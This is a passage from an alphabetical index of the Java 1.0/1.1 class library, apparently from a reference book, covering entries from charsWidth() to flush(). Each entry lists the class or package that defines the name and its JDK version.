charsWidth()

java.awt.FontMetrics (JDK 1.0)

charValue()

java.lang.Character (JDK 1.0)

charWidth()

java.awt.FontMetrics (JDK 1.0)

checkAccept()

java.lang.SecurityManager (JDK 1.0)

checkAccess()

java.lang.SecurityManager (JDK 1.0), java.lang.Thread (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

checkAll()

java.awt.MediaTracker (JDK 1.0)

checkAwtEventQueueAccess()

java.lang.SecurityManager (JDK 1.0)

Checkbox

The java.awt Package

CheckboxGroup

The java.awt Package

CheckboxMenuItem

The java.awt Package

CheckboxMenuItemPeer

The java.awt.peer Package

CheckboxPeer

The java.awt.peer Package

checkConnect()

java.lang.SecurityManager (JDK 1.0)

checkCreateClassLoader()

java.lang.SecurityManager (JDK 1.0)

checkDelete()

java.lang.SecurityManager (JDK 1.0)

CheckedInputStream

The java.util.zip Package

CheckedOutputStream

The java.util.zip Package

checkError()

java.io.PrintStream (JDK 1.0), java.io.PrintWriter (JDK 1.1)

checkExec()

java.lang.SecurityManager (JDK 1.0)

checkExit()

java.lang.SecurityManager (JDK 1.0)

checkID()

java.awt.MediaTracker (JDK 1.0)

checkImage()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Toolkit (JDK 1.0)

checkLink()

java.lang.SecurityManager (JDK 1.0)

checkListen()

java.lang.SecurityManager (JDK 1.0)

checkMemberAccess()

java.lang.SecurityManager (JDK 1.0)

checkMulticast()

java.lang.SecurityManager (JDK 1.0)

checkPackageAccess()

java.lang.SecurityManager (JDK 1.0)

checkPackageDefinition()

java.lang.SecurityManager (JDK 1.0)

checkPrintJobAccess()

java.lang.SecurityManager (JDK 1.0)

checkPropertiesAccess()

java.lang.SecurityManager (JDK 1.0)

checkPropertyAccess()

java.lang.SecurityManager (JDK 1.0)

checkRead()

java.lang.SecurityManager (JDK 1.0)

checkSecurityAccess()

java.lang.SecurityManager (JDK 1.0)

checkSetFactory()

java.lang.SecurityManager (JDK 1.0)

Checksum

The java.util.zip Package

checkSystemClipboardAccess()

java.lang.SecurityManager (JDK 1.0)

checkTopLevelWindow()

java.lang.SecurityManager (JDK 1.0)

checkWrite()

java.lang.SecurityManager (JDK 1.0)

childResized()

java.awt.peer.ScrollPanePeer (JDK 1.1)

CHINA

java.util.Locale (JDK 1.1)

CHINESE

java.util.Locale (JDK 1.1)

Choice

The java.awt Package

ChoiceFormat

The java.text Package

ChoicePeer

The java.awt.peer Package

Class

The java.lang Package

ClassCastException

The java.lang Package

ClassCircularityError

The java.lang Package

classDepth()

java.lang.SecurityManager (JDK 1.0)

ClassFormatError

The java.lang Package

ClassLoader

The java.lang Package

classLoaderDepth()

java.lang.SecurityManager (JDK 1.0)

classname

java.io.InvalidClassException (JDK 1.1)

ClassNotFoundException

The java.lang Package

clear()

java.util.BitSet (JDK 1.0), java.util.Calendar (JDK 1.1), java.util.Hashtable (JDK 1.0), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0)

clearBit()

java.math.BigInteger (JDK 1.1)

clearChanged()

java.util.Observable (JDK 1.0)

clearRect()

java.awt.Graphics (JDK 1.0)

clickCount

java.awt.Event (JDK 1.0)

Clipboard

The java.awt.datatransfer Package

ClipboardOwner

The java.awt.datatransfer Package

clipRect()

java.awt.Graphics (JDK 1.0)

clone()

java.util.BitSet (JDK 1.0), java.text.BreakIterator (JDK 1.1), java.util.Calendar (JDK 1.1), java.text.CharacterIterator (JDK 1.1), java.text.ChoiceFormat (JDK 1.1), java.text.Collator (JDK 1.1), java.text.DateFormat (JDK 1.1), java.text.DateFormatSymbols (JDK 1.1), java.text.DecimalFormat (JDK 1.1), java.text.DecimalFormatSymbols (JDK 1.1), java.text.Format (JDK 1.1), java.util.GregorianCalendar (JDK 1.1), java.awt.GridBagConstraints (JDK 1.0), java.util.Hashtable (JDK 1.0), java.awt.image.ImageFilter (JDK 1.0), java.awt.Insets (JDK 1.0), java.util.Locale (JDK 1.1), java.text.MessageFormat (JDK 1.1), java.text.NumberFormat (JDK 1.1), java.lang.Object (JDK 1.0), java.text.RuleBasedCollator (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1), java.util.SimpleTimeZone (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1), java.util.TimeZone (JDK 1.1), java.util.Vector (JDK 1.0)

Cloneable

The java.lang Package

CloneNotSupportedException

The java.lang Package

close()

java.io.BufferedReader (JDK 1.1), java.io.BufferedWriter (JDK 1.1), java.io.CharArrayReader (JDK 1.1), java.io.CharArrayWriter (JDK 1.1), java.net.DatagramSocket (JDK 1.0), java.net.DatagramSocketImpl (JDK 1.1), java.util.zip.DeflaterOutputStream (JDK 1.1), java.io.FileInputStream (JDK 1.0), java.io.FileOutputStream (JDK 1.0), java.io.FilterInputStream (JDK 1.0), java.io.FilterOutputStream (JDK 1.0), java.io.FilterReader (JDK 1.1), java.io.FilterWriter (JDK 1.1), java.util.zip.GZIPInputStream (JDK 1.1), java.util.zip.GZIPOutputStream (JDK 1.1), java.io.InputStream (JDK 1.0), java.io.InputStreamReader (JDK 1.1), java.io.ObjectInput (JDK 1.1), java.io.ObjectInputStream (JDK 1.1), java.io.ObjectOutput (JDK 1.1), java.io.ObjectOutputStream (JDK 1.1), java.io.OutputStream (JDK 1.0), java.io.OutputStreamWriter (JDK 1.1), java.io.PipedInputStream (JDK 1.0), java.io.PipedOutputStream (JDK 1.0), java.io.PipedReader (JDK 1.1), java.io.PipedWriter (JDK 1.1), java.io.PrintStream (JDK 1.0), java.io.PrintWriter (JDK 1.1), java.io.PushbackReader (JDK 1.1), java.io.RandomAccessFile (JDK 1.0), java.io.Reader (JDK 1.1), java.io.SequenceInputStream (JDK 1.0), java.net.ServerSocket (JDK 1.0), java.net.Socket (JDK 1.0), java.net.SocketImpl (JDK 1.0), java.io.StringReader (JDK 1.1), java.io.StringWriter (JDK 1.1), java.io.Writer (JDK 1.1), java.util.zip.ZipFile (JDK 1.1), java.util.zip.ZipInputStream (JDK 1.1), java.util.zip.ZipOutputStream (JDK 1.1)

closeEntry()

java.util.zip.ZipInputStream (JDK 1.1), java.util.zip.ZipOutputStream (JDK 1.1)

CollationElementIterator

The java.text Package

CollationKey

The java.text Package

Collator

The java.text Package

Color

The java.awt Package

ColorModel

The java.awt.image Package

columnWeights

java.awt.GridBagLayout (JDK 1.0)

columnWidths

java.awt.GridBagLayout (JDK 1.0)

COMBINING_SPACING_MARK

java.lang.Character (JDK 1.0)

command()

java.lang.Compiler (JDK 1.0)

commentChar()

java.io.StreamTokenizer (JDK 1.0)

compare()

java.text.Collator (JDK 1.1), java.text.RuleBasedCollator (JDK 1.1)

compareTo()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.text.CollationKey (JDK 1.1), java.lang.String (JDK 1.0)

compileClass()

java.lang.Compiler (JDK 1.0)

compileClasses()

java.lang.Compiler (JDK 1.0)

Compiler

The java.lang Package

COMPLETE

java.awt.MediaTracker (JDK 1.0)

complete()

java.util.Calendar (JDK 1.1)

COMPLETESCANLINES

java.awt.image.ImageConsumer (JDK 1.0)

Component

The java.awt Package

COMPONENT_ADDED

java.awt.event.ContainerEvent (JDK 1.1)

COMPONENT_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

COMPONENT_FIRST

java.awt.event.ComponentEvent (JDK 1.1)

COMPONENT_HIDDEN

java.awt.event.ComponentEvent (JDK 1.1)

COMPONENT_LAST

java.awt.event.ComponentEvent (JDK 1.1)

COMPONENT_MOVED

java.awt.event.ComponentEvent (JDK 1.1)

COMPONENT_REMOVED

java.awt.event.ContainerEvent (JDK 1.1)

COMPONENT_RESIZED

java.awt.event.ComponentEvent (JDK 1.1)

COMPONENT_SHOWN

java.awt.event.ComponentEvent (JDK 1.1)

ComponentAdapter

The java.awt.event Package

componentAdded()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ContainerAdapter (JDK 1.1), java.awt.event.ContainerListener (JDK 1.1)

ComponentEvent

The java.awt.event Package

componentHidden()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ComponentAdapter (JDK 1.1), java.awt.event.ComponentListener (JDK 1.1)

ComponentListener

The java.awt.event Package

componentMoved()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ComponentAdapter (JDK 1.1), java.awt.event.ComponentListener (JDK 1.1)

ComponentPeer

The java.awt.peer Package

componentRemoved()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ContainerAdapter (JDK 1.1), java.awt.event.ContainerListener (JDK 1.1)

componentResized()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ComponentAdapter (JDK 1.1), java.awt.event.ComponentListener (JDK 1.1)

componentShown()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ComponentAdapter (JDK 1.1), java.awt.event.ComponentListener (JDK 1.1)

comptable

java.awt.GridBagLayout (JDK 1.0)

computeFields()

java.util.Calendar (JDK 1.1), java.util.GregorianCalendar (JDK 1.1)

computeTime()

java.util.Calendar (JDK 1.1), java.util.GregorianCalendar (JDK 1.1)

concat()

java.lang.String (JDK 1.0)

connect()

java.io.PipedInputStream (JDK 1.0), java.io.PipedOutputStream (JDK 1.0), java.io.PipedReader (JDK 1.1), java.io.PipedWriter (JDK 1.1), java.net.SocketImpl (JDK 1.0), java.net.URLConnection (JDK 1.0)

connected

java.net.URLConnection (JDK 1.0)

ConnectException

The java.net Package

CONNECTOR_PUNCTUATION

java.lang.Character (JDK 1.0)

Constructor

The java.lang.reflect Package

consume()

java.awt.AWTEvent (JDK 1.1), java.awt.event.InputEvent (JDK 1.1)

consumed

java.awt.AWTEvent (JDK 1.1)

consumer

java.awt.image.ImageFilter (JDK 1.0)

Container

The java.awt Package

CONTAINER_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

CONTAINER_FIRST

java.awt.event.ContainerEvent (JDK 1.1)

CONTAINER_LAST

java.awt.event.ContainerEvent (JDK 1.1)

ContainerAdapter

The java.awt.event Package

ContainerEvent

The java.awt.event Package

ContainerListener

The java.awt.event Package

ContainerPeer

The java.awt.peer Package

contains()

java.awt.Component (JDK 1.0), java.util.Hashtable (JDK 1.0), java.awt.Polygon (JDK 1.0), java.awt.Rectangle (JDK 1.0), java.util.Vector (JDK 1.0)

containsKey()

java.util.Hashtable (JDK 1.0)

ContentHandler

The java.net Package

ContentHandlerFactory

The java.net Package

contents

java.awt.datatransfer.Clipboard (JDK 1.1)

control

java.awt.SystemColor (JDK 1.1)

CONTROL

java.lang.Character (JDK 1.0), java.awt.SystemColor (JDK 1.1)

CONTROL_DK_SHADOW

java.awt.SystemColor (JDK 1.1)

CONTROL_HIGHLIGHT

java.awt.SystemColor (JDK 1.1)

CONTROL_LT_HIGHLIGHT

java.awt.SystemColor (JDK 1.1)

CONTROL_SHADOW

java.awt.SystemColor (JDK 1.1)

CONTROL_TEXT

java.awt.SystemColor (JDK 1.1)

controlDkShadow

java.awt.SystemColor (JDK 1.1)

controlDown()

java.awt.Event (JDK 1.0)

controlHighlight

java.awt.SystemColor (JDK 1.1)

controlLtHighlight

java.awt.SystemColor (JDK 1.1)

controlShadow

java.awt.SystemColor (JDK 1.1)

controlText

java.awt.SystemColor (JDK 1.1)

copyArea()

java.awt.Graphics (JDK 1.0)

copyInto()

java.util.Vector (JDK 1.0)

copyValueOf()

java.lang.String (JDK 1.0)

cos()

java.lang.Math (JDK 1.0)

count

java.io.BufferedInputStream (JDK 1.0), java.io.BufferedOutputStream (JDK 1.0), java.io.ByteArrayInputStream (JDK 1.0), java.io.ByteArrayOutputStream (JDK 1.0), java.io.CharArrayReader (JDK 1.1), java.io.CharArrayWriter (JDK 1.1), java.io.StringBufferInputStream (JDK 1.0; Deprecated.)

countComponents()

java.awt.Container (JDK 1.0)

countItems()

java.awt.Choice (JDK 1.0), java.awt.List (JDK 1.0), java.awt.Menu (JDK 1.0)

countMenus()

java.awt.MenuBar (JDK 1.0)

countObservers()

java.util.Observable (JDK 1.0)

countStackFrames()

java.lang.Thread (JDK 1.0)

countTokens()

java.util.StringTokenizer (JDK 1.0)

crc

java.util.zip.GZIPInputStream (JDK 1.1), java.util.zip.GZIPOutputStream (JDK 1.1)

CRC32

The java.util.zip Package

create()

java.net.DatagramSocketImpl (JDK 1.1), java.awt.Graphics (JDK 1.0), java.net.SocketImpl (JDK 1.0)

createButton()

java.awt.Toolkit (JDK 1.0)

createCanvas()

java.awt.Toolkit (JDK 1.0)

createCheckbox()

java.awt.Toolkit (JDK 1.0)

createCheckboxMenuItem()

java.awt.Toolkit (JDK 1.0)

createChoice()

java.awt.Toolkit (JDK 1.0)

createComponent()

java.awt.Toolkit (JDK 1.0)

createContentHandler()

java.net.ContentHandlerFactory (JDK 1.0)

createDialog()

java.awt.Toolkit (JDK 1.0)

createFileDialog()

java.awt.Toolkit (JDK 1.0)

createFrame()

java.awt.Toolkit (JDK 1.0)

createImage()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Toolkit (JDK 1.0)

createLabel()

java.awt.Toolkit (JDK 1.0)

createList()

java.awt.Toolkit (JDK 1.0)

createMenu()

java.awt.Toolkit (JDK 1.0)

createMenuBar()

java.awt.Toolkit (JDK 1.0)

createMenuItem()

java.awt.Toolkit (JDK 1.0)

createPanel()

java.awt.Toolkit (JDK 1.0)

createPopupMenu()

java.awt.Toolkit (JDK 1.0)

createScrollbar()

java.awt.Toolkit (JDK 1.0)

createScrollPane()

java.awt.Toolkit (JDK 1.0)

createSocketImpl()

java.net.SocketImplFactory (JDK 1.0)

createTextArea()

java.awt.Toolkit (JDK 1.0)

createTextField()

java.awt.Toolkit (JDK 1.0)

createURLStreamHandler()

java.net.URLStreamHandlerFactory (JDK 1.0)

createWindow()

java.awt.Toolkit (JDK 1.0)

CropImageFilter

The java.awt.image Package

CROSSHAIR_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

CTRL_MASK

java.awt.event.ActionEvent (JDK 1.1), java.awt.Event (JDK 1.0), java.awt.event.InputEvent (JDK 1.1)

CURRENCY_SYMBOL

java.lang.Character (JDK 1.0)

current()

java.text.BreakIterator (JDK 1.1), java.text.CharacterIterator (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

currentClassLoader()

java.lang.SecurityManager (JDK 1.0)

currentLoadedClass()

java.lang.SecurityManager (JDK 1.0)

currentThread()

java.lang.Thread (JDK 1.0)

currentTimeMillis()

java.lang.System (JDK 1.0)

Cursor

The java.awt Package

Customizer

The java.beans Package

cyan

java.awt.Color (JDK 1.0)

D

darker()

java.awt.Color (JDK 1.0)

darkGray

java.awt.Color (JDK 1.0)

DASH_PUNCTUATION

java.lang.Character (JDK 1.0)

DataFlavor

The java.awt.datatransfer Package

DataFormatException

The java.util.zip Package

DatagramPacket

The java.net Package

DatagramSocket

The java.net Package

DatagramSocketImpl

The java.net Package

DataInput

The java.io Package

DataInputStream

The java.io Package

DataOutput

The java.io Package

DataOutputStream

The java.io Package

DATE

java.util.Calendar (JDK 1.1)

Date

The java.util Package

DATE_FIELD

java.text.DateFormat (JDK 1.1)

DateFormat

The java.text Package

DateFormatSymbols

The java.text Package

DAY_OF_MONTH

java.util.Calendar (JDK 1.1)

DAY_OF_WEEK

java.util.Calendar (JDK 1.1)

DAY_OF_WEEK_FIELD

java.text.DateFormat (JDK 1.1)

DAY_OF_WEEK_IN_MONTH

java.util.Calendar (JDK 1.1)

DAY_OF_WEEK_IN_MONTH_FIELD

java.text.DateFormat (JDK 1.1)

DAY_OF_YEAR

java.util.Calendar (JDK 1.1)

DAY_OF_YEAR_FIELD

java.text.DateFormat (JDK 1.1)

decapitalize()

java.beans.Introspector (JDK 1.1)

DECEMBER

java.util.Calendar (JDK 1.1)

DECIMAL_DIGIT_NUMBER

java.lang.Character (JDK 1.0)

DecimalFormat

The java.text Package

DecimalFormatSymbols

The java.text Package

DECLARED

java.lang.reflect.Member (JDK 1.1)

decode()

java.lang.Byte (JDK 1.1), java.awt.Color (JDK 1.0), java.awt.Font (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Short (JDK 1.1)

def

java.util.zip.DeflaterOutputStream (JDK 1.1)

DEFAULT

java.text.DateFormat (JDK 1.1)

DEFAULT_COMPRESSION

java.util.zip.Deflater (JDK 1.1)

DEFAULT_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

DEFAULT_STRATEGY

java.util.zip.Deflater (JDK 1.1)

defaultConstraints

java.awt.GridBagLayout (JDK 1.0)

defaultReadObject()

java.io.ObjectInputStream (JDK 1.1)

defaults

java.util.Properties (JDK 1.0)

defaultWriteObject()

java.io.ObjectOutputStream (JDK 1.1)

defineClass()

java.lang.ClassLoader (JDK 1.0)

deflate()

java.util.zip.Deflater (JDK 1.1), java.util.zip.DeflaterOutputStream (JDK 1.1)

DEFLATED

java.util.zip.Deflater (JDK 1.1), java.util.zip.ZipEntry (JDK 1.1), java.util.zip.ZipOutputStream (JDK 1.1)

Deflater

The java.util.zip Package

DeflaterOutputStream

The java.util.zip Package

DELETE

java.awt.Event (JDK 1.0)

delete()

java.io.File (JDK 1.0)

deleteObserver()

java.util.Observable (JDK 1.0)

deleteObservers()

java.util.Observable (JDK 1.0)

deleteShortcut()

java.awt.MenuBar (JDK 1.0), java.awt.MenuItem (JDK 1.0)

delItem()

java.awt.List (JDK 1.0), java.awt.peer.MenuPeer (JDK 1.0)

delItems()

java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0)

deliverEvent()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

delMenu()

java.awt.peer.MenuBarPeer (JDK 1.0)

deselect()

java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0)

DESELECTED

java.awt.event.ItemEvent (JDK 1.1)

desktop

java.awt.SystemColor (JDK 1.1)

DESKTOP

java.awt.SystemColor (JDK 1.1)

destHeight

java.awt.image.ReplicateScaleFilter (JDK 1.1)

destroy()

java.applet.Applet (JDK 1.0), java.lang.Process (JDK 1.0), java.lang.Thread (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

destWidth

java.awt.image.ReplicateScaleFilter (JDK 1.1)

detail

java.io.WriteAbortedException (JDK 1.1)

Dialog

The java.awt Package

DialogPeer

The java.awt.peer Package

Dictionary

The java.util Package

digit()

java.lang.Character (JDK 1.0)

Dimension

The java.awt Package

DirectColorModel

The java.awt.image Package

disable()

java.lang.Compiler (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.peer.MenuItemPeer (JDK 1.0)

disableEvents()

java.awt.Component (JDK 1.0), java.awt.MenuItem (JDK 1.0)

disconnect()

java.net.HttpURLConnection (JDK 1.1)

dispatchEvent()

java.awt.Component (JDK 1.0), java.awt.MenuComponent (JDK 1.0)

dispose()

java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Frame (JDK 1.0), java.awt.Graphics (JDK 1.0), java.awt.peer.MenuComponentPeer (JDK 1.0), java.awt.Window (JDK 1.0)

divide()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1)

divideAndRemainder()

java.math.BigInteger (JDK 1.1)

doInput

java.net.URLConnection (JDK 1.0)

doLayout()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.ScrollPane (JDK 1.1)

DONE

java.text.BreakIterator (JDK 1.1), java.text.CharacterIterator (JDK 1.1)

dontUseGui()

java.beans.Visibility (JDK 1.1)

doOutput

java.net.URLConnection (JDK 1.0)

Double

The java.lang Package

doubleToLongBits()

java.lang.Double (JDK 1.0)

doubleValue()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Byte (JDK 1.1), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Number (JDK 1.0), java.lang.Short (JDK 1.1)

DOWN

java.awt.Event (JDK 1.0)

drain()

java.io.ObjectOutputStream (JDK 1.1)

draw3DRect()

java.awt.Graphics (JDK 1.0)

drawArc()

java.awt.Graphics (JDK 1.0)

drawBytes()

java.awt.Graphics (JDK 1.0)

drawChars()

java.awt.Graphics (JDK 1.0)

drawImage()

java.awt.Graphics (JDK 1.0)

drawLine()

java.awt.Graphics (JDK 1.0)

drawOval()

java.awt.Graphics (JDK 1.0)

drawPolygon()

java.awt.Graphics (JDK 1.0)

drawPolyline()

java.awt.Graphics (JDK 1.0)

drawRect()

java.awt.Graphics (JDK 1.0)

drawRoundRect()

java.awt.Graphics (JDK 1.0)

drawString()

java.awt.Graphics (JDK 1.0)

DST_OFFSET

java.util.Calendar (JDK 1.1)

dumpStack()

java.lang.Thread (JDK 1.0)

E

E

java.lang.Math (JDK 1.0)

E_RESIZE_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

EAST

java.awt.BorderLayout (JDK 1.0), java.awt.GridBagConstraints (JDK 1.0)

echoCharIsSet()

java.awt.TextField (JDK 1.0)

elementAt()

java.util.Vector (JDK 1.0)

elementCount

java.util.Vector (JDK 1.0)

elementData

java.util.Vector (JDK 1.0)

elements()

java.util.Dictionary (JDK 1.0), java.util.Hashtable (JDK 1.0), java.util.Vector (JDK 1.0)

empty()

java.util.Stack (JDK 1.0)

EmptyStackException

The java.util Package

enable()

java.lang.Compiler (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.peer.MenuItemPeer (JDK 1.0)

enableEvents()

java.awt.Component (JDK 1.0), java.awt.MenuItem (JDK 1.0)

enableReplaceObject()

java.io.ObjectOutputStream (JDK 1.1)

enableResolveObject()

java.io.ObjectInputStream (JDK 1.1)

ENCLOSING_MARK

java.lang.Character (JDK 1.0)

encode()

java.net.URLEncoder (JDK 1.0)

END

java.awt.Event (JDK 1.0)

end()

java.util.zip.Deflater (JDK 1.1), java.util.zip.Inflater (JDK 1.1), java.awt.PrintJob (JDK 1.1)

END_PUNCTUATION

java.lang.Character (JDK 1.0)

endsWith()

java.lang.String (JDK 1.0)

endValidate()

java.awt.peer.ContainerPeer (JDK 1.0)

ENGLISH

java.util.Locale (JDK 1.1)

ensureCapacity()

java.lang.StringBuffer (JDK 1.0), java.util.Vector (JDK 1.0)

ENTER

java.awt.Event (JDK 1.0)

entries()

java.util.zip.ZipFile (JDK 1.1)

enumerate()

java.lang.Thread (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

Enumeration

The java.util Package

eof

java.io.OptionalDataException (JDK 1.1)

EOFException

The java.io Package

eolIsSignificant()

java.io.StreamTokenizer (JDK 1.0)

eos

java.util.zip.GZIPInputStream (JDK 1.1)

equals()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.util.BitSet (JDK 1.0), java.lang.Boolean (JDK 1.0), java.lang.Byte (JDK 1.1), java.util.Calendar (JDK 1.1), java.lang.Character (JDK 1.0), java.text.ChoiceFormat (JDK 1.1), java.text.CollationKey (JDK 1.1), java.text.Collator (JDK 1.1), java.awt.Color (JDK 1.0), java.lang.reflect.Constructor (JDK 1.1), java.awt.datatransfer.DataFlavor (JDK 1.1), java.util.Date (JDK 1.0), java.text.DateFormat (JDK 1.1), java.text.DateFormatSymbols (JDK 1.1), java.text.DecimalFormat (JDK 1.1), java.text.DecimalFormatSymbols (JDK 1.1), java.awt.Dimension (JDK 1.0), java.lang.Double (JDK 1.0), java.lang.reflect.Field (JDK 1.1), java.io.File (JDK 1.0), java.lang.Float (JDK 1.0), java.awt.Font (JDK 1.0), java.util.GregorianCalendar (JDK 1.1), java.net.InetAddress (JDK 1.0), java.awt.Insets (JDK 1.0), java.lang.Integer (JDK 1.0), java.util.Locale (JDK 1.1), java.lang.Long (JDK 1.0), java.awt.MenuShortcut (JDK 1.1), java.text.MessageFormat (JDK 1.1), java.lang.reflect.Method (JDK 1.1), java.text.NumberFormat (JDK 1.1), java.lang.Object (JDK 1.0), java.awt.Point (JDK 1.0), java.awt.Rectangle (JDK 1.0), java.text.RuleBasedCollator (JDK 1.1), java.lang.Short (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1), java.util.SimpleTimeZone (JDK 1.1), java.lang.String (JDK 1.0), java.text.StringCharacterIterator (JDK 1.1), java.net.URL (JDK 1.0)

equalsIgnoreCase()

java.lang.String (JDK 1.0)

ERA

java.util.Calendar (JDK 1.1)

ERA_FIELD

java.text.DateFormat (JDK 1.1)

err

java.io.FileDescriptor (JDK 1.0), java.lang.System (JDK 1.0)

Error

The java.lang Package

ERROR

java.awt.image.ImageObserver (JDK 1.0)

ERRORED

java.awt.MediaTracker (JDK 1.0)

ESCAPE

java.awt.Event (JDK 1.0)

Event

The java.awt Package

EventListener

The java.util Package

EventObject

The java.util Package

EventQueue

The java.awt Package

EventSetDescriptor

The java.beans Package

evt

java.awt.Event (JDK 1.0)

Exception

The java.lang Package

ExceptionInInitializerError

The java.lang Package

exec()

java.lang.Runtime (JDK 1.0)

exists()

java.io.File (JDK 1.0)

exit()

java.lang.Runtime (JDK 1.0), java.lang.System (JDK 1.0)

exitValue()

java.lang.Process (JDK 1.0)

exp()

java.lang.Math (JDK 1.0)

Externalizable

The java.io Package

F

F1

java.awt.Event (JDK 1.0)

F10

java.awt.Event (JDK 1.0)

F11

java.awt.Event (JDK 1.0)

F12

java.awt.Event (JDK 1.0)

F2

java.awt.Event (JDK 1.0)

F3

java.awt.Event (JDK 1.0)

F4

java.awt.Event (JDK 1.0)

F5

java.awt.Event (JDK 1.0)

F6

java.awt.Event (JDK 1.0)

F7

java.awt.Event (JDK 1.0)

F8

java.awt.Event (JDK 1.0)

F9

java.awt.Event (JDK 1.0)

FALSE

java.lang.Boolean (JDK 1.0)

fd

java.net.DatagramSocketImpl (JDK 1.1), java.net.SocketImpl (JDK 1.0)

FeatureDescriptor

The java.beans Package

FEBRUARY

java.util.Calendar (JDK 1.1)

Field

The java.lang.reflect Package

FIELD_COUNT

java.util.Calendar (JDK 1.1)

FieldPosition

The java.text Package

fields

java.util.Calendar (JDK 1.1)

File

The java.io Package

FileDescriptor

The java.io Package

FileDialog

The java.awt Package

FileDialogPeer

The java.awt.peer Package

FileInputStream

The java.io Package

FilenameFilter

The java.io Package

FileNameMap

The java.net Package

fileNameMap

java.net.URLConnection (JDK 1.0)

FileNotFoundException

The java.io Package

FileOutputStream

The java.io Package

FileReader

The java.io Package

FileWriter

The java.io Package

fill

java.awt.GridBagConstraints (JDK 1.0)

fill()

java.util.zip.InflaterInputStream (JDK 1.1)

fill3DRect()

java.awt.Graphics (JDK 1.0)

fillArc()

java.awt.Graphics (JDK 1.0)

fillInStackTrace()

java.lang.Throwable (JDK 1.0)

fillOval()

java.awt.Graphics (JDK 1.0)

fillPolygon()

java.awt.Graphics (JDK 1.0)

fillRect()

java.awt.Graphics (JDK 1.0)

fillRoundRect()

java.awt.Graphics (JDK 1.0)

FILTERED

java.util.zip.Deflater (JDK 1.1)

FilteredImageSource

The java.awt.image Package

filterIndexColorModel()

java.awt.image.RGBImageFilter (JDK 1.0)

FilterInputStream

The java.io Package

FilterOutputStream

The java.io Package

FilterReader

The java.io Package

filterRGB()

java.awt.image.RGBImageFilter (JDK 1.0)

filterRGBPixels()

java.awt.image.RGBImageFilter (JDK 1.0)

FilterWriter

The java.io Package

FINAL

java.lang.reflect.Modifier (JDK 1.1)

finalize()

java.awt.image.ColorModel (JDK 1.0), java.util.zip.Deflater (JDK 1.1), java.io.FileInputStream (JDK 1.0), java.io.FileOutputStream (JDK 1.0), java.awt.Graphics (JDK 1.0), java.util.zip.Inflater (JDK 1.1), java.lang.Object (JDK 1.0), java.awt.PrintJob (JDK 1.1)

findEditor()

java.beans.PropertyEditorManager (JDK 1.1)

findLoadedClass()

java.lang.ClassLoader (JDK 1.0)

findSystemClass()

java.lang.ClassLoader (JDK 1.0)

finish()

java.util.zip.Deflater (JDK 1.1), java.util.zip.DeflaterOutputStream (JDK 1.1), java.util.zip.GZIPOutputStream (JDK 1.1), java.util.zip.ZipOutputStream (JDK 1.1)

finished()

java.util.zip.Deflater (JDK 1.1), java.util.zip.Inflater (JDK 1.1)

firePropertyChange()

java.beans.PropertyChangeSupport (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

fireVetoableChange()

java.beans.VetoableChangeSupport (JDK 1.1)

first()

java.text.BreakIterator (JDK 1.1), java.awt.CardLayout (JDK 1.0), java.text.CharacterIterator (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

firstElement()

java.util.Vector (JDK 1.0)

flipBit()

java.math.BigInteger (JDK 1.1)

Float

The java.lang Package

floatToIntBits()

java.lang.Float (JDK 1.0)

floatValue()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Byte (JDK 1.1), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Number (JDK 1.0), java.lang.Short (JDK 1.1)

floor()

java.lang.Math (JDK 1.0)

FlowLayout

The java.awt Package

flush()

